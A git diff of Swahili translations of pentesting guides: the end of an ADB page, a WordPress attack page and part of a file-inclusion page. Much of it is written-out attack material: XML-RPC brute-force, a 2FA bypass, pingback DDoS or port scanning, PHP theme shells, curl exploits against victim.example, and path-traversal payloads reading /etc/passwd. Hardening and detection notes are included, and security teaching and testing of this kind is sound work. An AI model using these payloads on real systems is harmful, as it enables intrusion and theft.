toleo: `adb tcpip 5555` kisha `adb connect :5555` (hadi upya). +- _adb._tcp (kizamani/plain) +- Ikiwa mDNS imechujwa, kuwezesha USB kwa njia ya kawaida kunaweza bado kufanya kazi kwenye baadhi ya toleo: `adb tcpip 5555` kisha `adb connect :5555` (hadi upya). -Madhara ya kushambulia: ikiwa unaweza kuingiliana na UI ya kifaa (kwa mfano, ufikiaji wa kimwili au makosa ya usanidi wa MDM ya simu) ili kuwezesha Wireless debugging na kuona msimbo wa kuunganishwa, unaweza kuanzisha channel ya ADB iliyounganishwa kwa muda mrefu bila kebo. Baadhi ya OEMs huweka ADB juu ya TCP katika picha za uhandisi/maendeleo bila kuunganishwa—daima angalia. +Madhara ya mashambulizi: ikiwa unaweza kuingiliana na UI ya kifaa (kwa mfano, ufikiaji wa kimwili au makosa ya usanidi wa MDM wa simu) ili kuwezesha urekebishaji wa Wireless na kuona msimbo wa kuunganishwa, unaweza kuanzisha channel ya ADB iliyounganishwa kwa muda mrefu bila kebo. Baadhi ya OEMs huweka ADB juu ya TCP katika picha za uhandisi/maendeleo bila kuunganishwa—daima angalia. ## Hardening / Detection Walinda wanapaswa kudhani adbd yoyote inayoweza kufikiwa (TCP) ni hatari muhimu. -- Zima ADB na Wireless debugging wakati hazihitajiki. Futa ruhusa za USB debugging katika chaguzi za Developer. +- Zima ADB na urekebishaji wa Wireless wakati hauhitajiki. Futa ruhusa za urekebishaji wa USB katika chaguzi za Developer. - Hakikisha sera ya mtandao inazuia TCP/5555 inayokuja na ugunduzi wa ADB wa mDNS kwenye sehemu zisizoaminika. - Kwenye vifaa chini ya udhibiti wako: ```bash diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 84eae993d..15730f91e 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,7 +5,7 @@ ## Basic Information - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** hivyo ikiwa unabadilisha baadhi ya php ya mandhari kupata RCE, huenda ukatumia njia hiyo. Kwa mfano: Kutumia **theme twentytwelve** unaweza **access** faili ya **404.php** katika: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Themes files can be found in /wp-content/themes/,** hivyo ukibadilisha baadhi ya php ya mandhari kupata RCE huenda utatumia njia hiyo. Kwa mfano: Kutumia **theme twentytwelve** unaweza **access** faili ya **404.php** katika: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -22,11 +22,11 @@ - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` ni faili inayowakilisha kipengele cha WordPress kinachowezesha data kuhamasishwa kwa HTTP ikifanya kama njia ya usafirishaji na XML kama njia ya usimbuaji. Aina hii ya mawasiliano imebadilishwa na [REST API](https://developer.wordpress.org/rest-api/reference) ya WordPress. +- `xmlrpc.php` ni faili inayowakilisha kipengele cha WordPress kinachowezesha data kuhamasishwa kwa HTTP ikifanya kama njia ya usafirishaji na XML kama njia ya uandishi. Aina hii ya mawasiliano imebadilishwa na [REST API](https://developer.wordpress.org/rest-api/reference) ya WordPress. - Folda ya `wp-content` ndiyo directory kuu ambapo plugins na mandhari zinahifadhiwa. - `wp-content/uploads/` Ni directory ambapo faili zozote zilizopakiwa kwenye jukwaa zinahifadhiwa. - `wp-includes/` Hii ni directory ambapo faili za msingi zinahifadhiwa, kama vyeti, fonts, faili za JavaScript, na widgets. -- `wp-sitemap.xml` Katika toleo la WordPress 5.5 na zaidi, WordPress inazalisha faili ya ramani ya XML yenye machapisho yote ya umma na aina za machapisho zinazoweza kuulizwa kwa umma na taxonomies. +- `wp-sitemap.xml` Katika toleo la WordPress 5.5 na zaidi, WordPress inazalisha faili ya ramani ya XML yenye machapisho yote ya umma na aina za machapisho zinazoweza kuulizwa hadharani na taxonomies. **Post exploitation** @@ -44,7 +44,7 @@ ### **Get WordPress version** -Angalia ikiwa unaweza kupata faili `/license.txt` au `/readme.html` +Angalia kama unaweza kupata faili `/license.txt` au `/readme.html` Ndani ya **source code** ya ukurasa (mfano kutoka [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): @@ -107,7 +107,7 @@ Pia kumbuka kwamba **/wp-json/wp/v2/pages** inaweza kuvuja anwani za IP. ### XML-RPC -Ikiwa `xml-rpc.php` inafanya kazi unaweza kufanya brute-force ya akidi au kuitumia kuzindua mashambulizi ya DoS kwa rasilimali nyingine. (Unaweza kuendesha mchakato huu [ukitumia hii](https://github.com/relarizky/wpxploit) kwa mfano). +Ikiwa `xml-rpc.php` inafanya kazi unaweza kufanya nguvu za kuingia au kuitumia kuzindua mashambulizi ya DoS kwa rasilimali nyingine. (Unaweza kuendesha mchakato huu [ukitumia hii](https://github.com/relarizky/wpxploit) kwa mfano). Ili kuona ikiwa inafanya kazi jaribu kufikia _**/xmlrpc.php**_ na kutuma ombi hili: @@ -168,18 +168,18 @@ Kwa kutumia akidi sahihi unaweza kupakia faili. Katika jibu, njia itaonekana ([h ``` -Pia kuna **njia ya haraka** ya kujaribu nguvu za nywila kwa kutumia **`system.multicall`** kwani unaweza kujaribu nywila kadhaa kwenye ombi moja: +Pia kuna njia **ya haraka** ya kujaribu nguvu za kuingia kwa kutumia **`system.multicall`** kwani unaweza kujaribu akauti kadhaa kwenye ombi moja:
**Kupita 2FA** -Njia hii imekusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, hivyo haitegemei 2FA. Hivyo, ikiwa una nywila halali lakini mlango mkuu umewekwa chini ya ulinzi wa 2FA, **huenda ukawa na uwezo wa kutumia xmlrpc.php kuingia na nywila hizo ukipita 2FA**. Kumbuka kwamba huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoelezea katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Njia hii inakusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, hivyo haitegemei 2FA. Hivyo, ikiwa una akauti halali lakini mlango mkuu umewekwa chini ya ulinzi wa 2FA, **huenda ukawa na uwezo wa kutumia xmlrpc.php kuingia na akauti hizo ukipita 2FA**. Kumbuka kuwa huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoelezea katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) -**DDoS au skanning ya bandari** +**DDoS au skanning ya port** -Ikiwa unaweza kupata njia _**pingback.ping**_ ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa mwenyeji/bandari yoyote.\ -Hii inaweza kutumika kuomba **maelfu** ya **tovuti** za Wordpress **kuingia** kwenye **mahali** moja (hivyo **DDoS** inasababishwa katika mahali hapo) au unaweza kuitumia kufanya **Wordpress** i **scan** baadhi ya **mtandao** wa ndani (unaweza kuashiria bandari yoyote). +Ikiwa unaweza kupata njia _**pingback.ping**_ ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa mwenyeji/port yoyote.\ +Hii inaweza kutumika kuomba **maelfu** ya **tovuti** za Wordpress **kuingia** kwenye **mahali** moja (hivyo **DDoS** inasababishwa katika mahali hapo) au unaweza kuitumia kufanya **Wordpress** i **scan** baadhi ya **mtandao** wa ndani (unaweza kuashiria port yoyote). ```html pingback.ping @@ -248,7 +248,7 @@ return new WP_Error( **Kubadilisha php kutoka kwa mandhari inayotumika (nywila za admin zinahitajika)** -Muonekano → Mhariri wa Mandhari → Kiolezo cha 404 (kulia) +Muonekano → Mhariri wa Mandhari → Kigezo cha 404 (kushoto) Badilisha maudhui kuwa php shell: @@ -301,24 +301,24 @@ Njia hii inahusisha ufungaji wa plugin mbaya inayojulikana kuwa na udhaifu na in 2. **Plugin Installation**: - Tembelea dashibodi ya WordPress, kisha nenda kwa `Dashboard > Plugins > Upload Plugin`. - Pakia faili ya zip ya plugin uliyopakua. -3. **Plugin Activation**: Mara plugin inapofanikiwa kufungwa, inapaswa kuanzishwa kupitia dashibodi. +3. **Plugin Activation**: Mara plugin inapofanikiwa kufungwa, inapaswa kuamshwa kupitia dashibodi. 4. **Exploitation**: -- Ikiwa plugin "reflex-gallery" imewekwa na kuanzishwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu. +- Ikiwa plugin "reflex-gallery" imewekwa na kuamshwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu. - Mfumo wa Metasploit unatoa exploit kwa udhaifu huu. Kwa kupakia moduli inayofaa na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, kikitoa ufikiaji usioidhinishwa kwa tovuti. - Imepangwa kuwa hii ni moja tu ya njia nyingi za kutumia udhaifu wa tovuti ya WordPress. -Maudhui yanajumuisha msaada wa picha unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uanzishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile pentesting kwa ruhusa wazi. +Maudhui yanajumuisha msaada wa picha unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uhamasishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile upimaji wa penye kwa idhini wazi. **Kwa hatua za kina zaidi angalia:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa toleo za Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Matoleo ya Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:** - _**Privilege Escalation:**_ Inaunda mtumiaji katika WordPress. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Pakia plugin yako ya kawaida (backdoor) kwenye WordPress. -- _**(RCE) Built-In Plugin Edit:**_ Hariri Plugins za Built-In katika WordPress. -- _**(RCE) Built-In Theme Edit:**_ Hariri Mifumo ya Built-In katika WordPress. -- _**(Custom) Custom Exploits:**_ Custom Exploits kwa Plugins/Mifumo ya Tatu za WordPress. +- _**(RCE) Built-In Plugin Edit:**_ Hariri Plugins za Kijengwa ndani katika WordPress. +- _**(RCE) Built-In Theme Edit:**_ Hariri Mandhari za Kijengwa ndani katika WordPress. +- _**(Custom) Custom Exploits:**_ Custom Exploits kwa Plugins/Mandhari za Tatu za WordPress. ## Post Exploitation @@ -334,18 +334,18 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Attack Surface -Kujua jinsi plugin ya Wordpress inavyoweza kufichua kazi ni muhimu ili kupata udhaifu katika kazi zake. Unaweza kupata jinsi plugin inaweza kufichua kazi katika alama zifuatazo na baadhi ya mifano ya plugins zenye udhaifu katika [**hiki kipande cha blogu**](https://nowotarski.info/wordpress-nonce-authorization/). +Kujua jinsi plugin ya Wordpress inavyoweza kufichua kazi ni muhimu ili kupata udhaifu katika kazi zake. Unaweza kupata jinsi plugin inaweza kufichua kazi katika alama zifuatazo na baadhi ya mifano ya plugins zenye udhaifu katika [**hiki kipande cha blog**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Moja ya njia ambazo plugin inaweza kufichua kazi ni kupitia waandishi wa AJAX. Hizi zinaweza kuwa na mantiki, udhibiti, au makosa ya uthibitishaji. Aidha, ni kawaida kwamba kazi hizi zitategemea uthibitishaji na ruhusa katika uwepo wa nonce ya wordpress ambayo **mtumiaji yeyote aliyeidhinishwa katika mfano wa Wordpress anaweza kuwa nayo** (bila kujali nafasi yake). +Moja ya njia ambazo plugin inaweza kufichua kazi ni kupitia waandishi wa AJAX. Hizi zinaweza kuwa na mantiki, udhibiti, au makosa ya uthibitishaji. Aidha, ni kawaida kwamba kazi hizi zitategemea uthibitishaji na ruhusa katika uwepo wa nonce ya wordpress ambayo **mtumiaji yeyote aliyeidhinishwa katika mfano wa Wordpress anaweza kuwa nayo** (bila kujali jukumu lake). Hizi ndizo kazi ambazo zinaweza kutumika kufichua kazi katika plugin: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**Matumizi ya `nopriv` yanaufanya mwisho uweze kupatikana na watumiaji wowote (hata wasio na uthibitisho).** +**Matumizi ya `nopriv` yanaufanya mwisho uweze kufikiwa na watumiaji wowote (hata wasio na uthibitisho).** > [!CAUTION] > Zaidi ya hayo, ikiwa kazi inakagua tu uthibitisho wa mtumiaji kwa kutumia kazi `wp_verify_nonce`, kazi hii inakagua tu kama mtumiaji ameingia, kawaida haiangalii nafasi ya mtumiaji. Hivyo, watumiaji wenye mamlaka ya chini wanaweza kuwa na ufikiaji wa vitendo vya mamlaka ya juu. @@ -375,7 +375,7 @@ Kwa kweli, Wordpress inatumia PHP na faili ndani ya plugins zinapatikana moja kw Mandhari na plugins za WordPress mara nyingi hutoa wahandisi wa AJAX kupitia viunganishi vya `wp_ajax_` na `wp_ajax_nopriv_`. Wakati toleo la **_nopriv_** linapotumika **callback inapatikana kwa wageni wasio na uthibitisho**, hivyo hatua yoyote nyeti lazima pia iwe na: 1. Ukaguzi wa **uwezo** (mfano `current_user_can()` au angalau `is_user_logged_in()`), na -2. **CSRF nonce** iliyothibitishwa na `check_ajax_referer()` / `wp_verify_nonce()`, na +2. **CSRF nonce** inayothibitishwa na `check_ajax_referer()` / `wp_verify_nonce()`, na 3. **Usafi wa ingizo / uthibitisho mkali**. Mandhari ya Litho ya matumizi mengi (< 3.1) ilisahau udhibiti hao 3 katika kipengele cha *Remove Font Family* na ikamaliza kutuma msimbo ufuatao (uliopunguzika): @@ -418,10 +418,10 @@ Malengo mengine yenye athari ni pamoja na faili za plugin/temu za `.php` (kuvunj #### Orodha ya kugundua * Kila `add_action( 'wp_ajax_nopriv_...')` callback inayopiga simu kwa wasaidizi wa mfumo wa faili (`copy()`, `unlink()`, `$wp_filesystem->delete()`, n.k.). -* Kuunganisha pembejeo za mtumiaji zisizoshughulikiwa katika njia (angalia `$_POST`, `$_GET`, `$_REQUEST`). +* Kuunganisha pembejeo za mtumiaji zisizo salama katika njia (angalia `$_POST`, `$_GET`, `$_REQUEST`). * Kukosekana kwa `check_ajax_referer()` na `current_user_can()`/`is_user_logged_in()`. -#### Kuimarisha +#### Hardening ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { @@ -485,7 +485,7 @@ Ushambulizi (mfano) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Katika toleo zenye udhaifu, hii inafuta majukumu ya sasa na kuyarudisha majukumu ya asili yaliyohifadhiwa (mfano, `administrator`), kwa ufanisi inakuza mamlaka. +Katika toleo zenye udhaifu, hii inafuta majukumu ya sasa na kuongezea tena majukumu ya asili yaliyohifadhiwa (mfano, `administrator`), kwa ufanisi ikipandisha mamlaka. Orodha ya kugundua @@ -500,7 +500,7 @@ Kuimarisha - Lazimisha ukaguzi wa uwezo kwenye kila tawi linalobadilisha hali (mfano, `current_user_can('manage_options')` au kali zaidi). - Hitaji nonces kwa mabadiliko yote ya jukumu/ruhusa na uyathibitisha: `check_admin_referer()` / `wp_verify_nonce()`. - Kamwe usiamini majina ya watumiaji yanayotolewa na ombi; pata mtumiaji wa lengo upande wa seva kulingana na mhusika aliyethibitishwa na sera wazi. -- Batilisha hali ya “majukumu ya asili” kwenye masasisho ya wasifu/jukumu ili kuepuka urejeleaji wa mamlaka ya juu yasiyofaa: +- Batilisha hali ya “majukumu ya asili” kwenye sasisho za wasifu/jukumu ili kuepuka urejeleaji wa mamlaka ya juu yasiyo ya sasa: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); @@ -514,7 +514,7 @@ delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); ### Sasisho za Kawaida -Hakikisha kwamba WordPress, plugins, na mandhari ziko updated. Pia thibitisha kwamba sasisho za kiotomatiki zimewezeshwa katika wp-config.php: +Hakikisha kwamba WordPress, plugins, na mandhari ziko kwenye toleo la kisasa. Pia thibitisha kwamba sasisho za kiotomatiki zimewezeshwa katika wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -573,7 +573,7 @@ Jibu linaonyesha matokeo ya ombi lililoingizwa au kubadilisha hifadhidata, kuthi ### Kupakua Faili za Kigeni zisizo na Uthibitisho / Kupita Njia (WP Job Portal <= 2.3.2) -Kazi nyingine, **downloadcustomfile**, iliruhusu wageni kupakua **faili yoyote kwenye diski** kupitia kupita njia. Sink inayoweza kuathiriwa iko katika `modules/customfield/model.php::downloadCustomUploadedFile()`: +Kazi nyingine, **downloadcustomfile**, iliruhusu wageni kupakua **faili yoyote kwenye diski** kupitia kupita njia. Kitu kilichoharibika kiko katika `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... @@ -581,7 +581,7 @@ echo $wp_filesystem->get_contents($file); // raw file output ``` `$file_name` inadhibitiwa na mshambuliaji na inachanganywa **bila kusafishwa**. Tena, lango pekee ni **CSRF nonce** ambayo inaweza kupatikana kutoka kwenye ukurasa wa resume. -#### Utekelezaji +#### Ukatili ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index a8418716c..a84ef71a1 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -84,7 +84,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Kuchunguza Maktaba za Mfumo wa Faili kwenye Server -Mfumo wa faili wa server unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna njia ya kina ya kufanikisha hili: +Mfumo wa faili wa server unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna njia ya kina ya kufikia hili: 1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa server ni ya Linux). Mfano wa URL unaweza kuwa na muundo kama ifuatavyo, ukionyesha kina cha tatu: ```bash @@ -99,13 +99,13 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1= - **Contents of `/etc/passwd`:** Uwepo wa folda `private` umethibitishwa. 4. **Recursive Exploration:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa subdirectories au faili kwa kutumia mbinu ile ile au mbinu za jadi za Local File Inclusion (LFI). -Ili kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda `private` (ikiwa unapo katika kina cha 3), tumia: +Ili kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda `private` (ikiwa folda ya sasa iko kwenye kina cha 3), tumia: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` -### **Mbinu ya Kukata Njia** +### **Path Truncation Technique** -Kukata njia ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi hutumiwa kufikia faili zilizozuiliwa kwa kupita baadhi ya hatua za usalama ambazo zinaongeza wahusika wa ziada mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa. +Path truncation ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi inatumika kufikia faili zilizozuiliwa kwa kupita baadhi ya hatua za usalama ambazo zinaongeza wahusika wa ziada mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa. Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuzingatiwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano: @@ -113,7 +113,7 @@ Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuzingatiwa kuwa sawa - Wakati wahusika 6 wa mwisho ni `passwd`, kuongeza `/` (kuifanya kuwa `passwd/`) hakubadilishi faili inayolengwa. - Vivyo hivyo, ikiwa `.php` imeongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni hakutabadilisha faili inayofikiwa. -Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia kufikia `/etc/passwd`, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti za mtumiaji): +Mifano iliyotolewa inaonyesha jinsi ya kutumia path truncation kufikia `/etc/passwd`, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti za mtumiaji): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -123,11 +123,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kubadilika kulingana na usanidi wa seva. +Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kutofautiana kulingana na usanidi wa seva. -- **Kutumia Sehemu za Dot na Wahusika Wengine**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuvinjari mfumo wa faili, kwa ufanisi ukipuuzilia mbali nyongeza za maandiko kutoka kwa seva. +- **Kutumia Sehemu za Dot na Wahusika Wengine**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuvinjari mfumo wa faili, kwa ufanisi ukipuuza nyongeza za maandiko kutoka kwa seva. - **Kuhesabu Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuvinjari hadi kwenye saraka ya mzizi na kisha hadi `/etc/passwd`, kuhakikisha kwamba nyongeza zozote za maandiko (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki salama. -- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyo na uwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva. +- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyokuwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva. Wakati wa kutumia mbinu za kupunguza njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji mbinu tofauti, na majaribio mara nyingi yanahitajika ili kupata mbinu bora zaidi. @@ -213,7 +213,7 @@ Hapa kuna orodha ya vigezo 25 vya juu ambavyo vinaweza kuwa na udhaifu wa kuingi ### php://filter -PHP filters huruhusu kufanya **operesheni za mabadiliko ya msingi kwenye data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya filters: +PHP filters huruhusu kufanya **operesheni za mabadiliko kwenye data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya filters: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` @@ -229,7 +229,7 @@ PHP filters huruhusu kufanya **operesheni za mabadiliko ya msingi kwenye data** - `convert.iconv.*` : Hubadilisha kuwa encoding tofauti (`convert.iconv..`). Ili kupata **orodha ya encodings zote** zinazoungwa mkono, endesha kwenye console: `iconv -l` > [!WARNING] -> Kutumia vibaya `convert.iconv.*` conversion filter unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato wa maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md). +> Kutumia vibaya filter ya `convert.iconv.*` unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato wa maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Punguza maudhui (inayofaa ikiwa unatoa taarifa nyingi) @@ -238,7 +238,7 @@ PHP filters huruhusu kufanya **operesheni za mabadiliko ya msingi kwenye data** - `mcrypt.*` : Imepitwa na wakati - `mdecrypt.*` : Imepitwa na wakati - Filters Nyingine -- Ukikimbia php `var_dump(stream_get_filters());` unaweza kupata baadhi ya **filters zisizotarajiwa**: +- Ukikimbia php `var_dump(stream_get_filters());` unaweza kupata couple ya **filters zisizotarajiwa**: - `consumed` - `dechunk`: inarudisha encoding ya HTTP chunked - `convert.*` @@ -269,23 +269,23 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> Sehemu "php://filter" haina tofauti kati ya herufi kubwa na ndogo +> Sehemu "php://filter" haina tofauti ya herufi ### Kutumia filters za php kama oracle kusoma faili zisizo za kawaida -[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili php itupe kosa. +[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili kufanya php itupe makosa. -Katika chapisho la asili unaweza kupata maelezo ya kina ya mbinu hii, lakini hapa kuna muhtasari wa haraka: +Katika chapisho la asili unaweza kupata maelezo ya kina kuhusu mbinu hii, lakini hapa kuna muhtasari wa haraka: - Tumia codec **`UCS-4LE`** kuacha herufi inayoongoza ya maandiko mwanzoni na kufanya ukubwa wa mfuatano kuongezeka kwa kasi. -- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **kosa** -- Filter ya **dechunk** it **ondoa kila kitu ikiwa herufi ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex. -- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate kosa. -- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haitaiondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali. +- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya awali inakisiwa kwa usahihi** kwamba php itasababisha **kosa** +- Filter ya **dechunk** itafuta **kila kitu ikiwa herufi ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex. +- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), 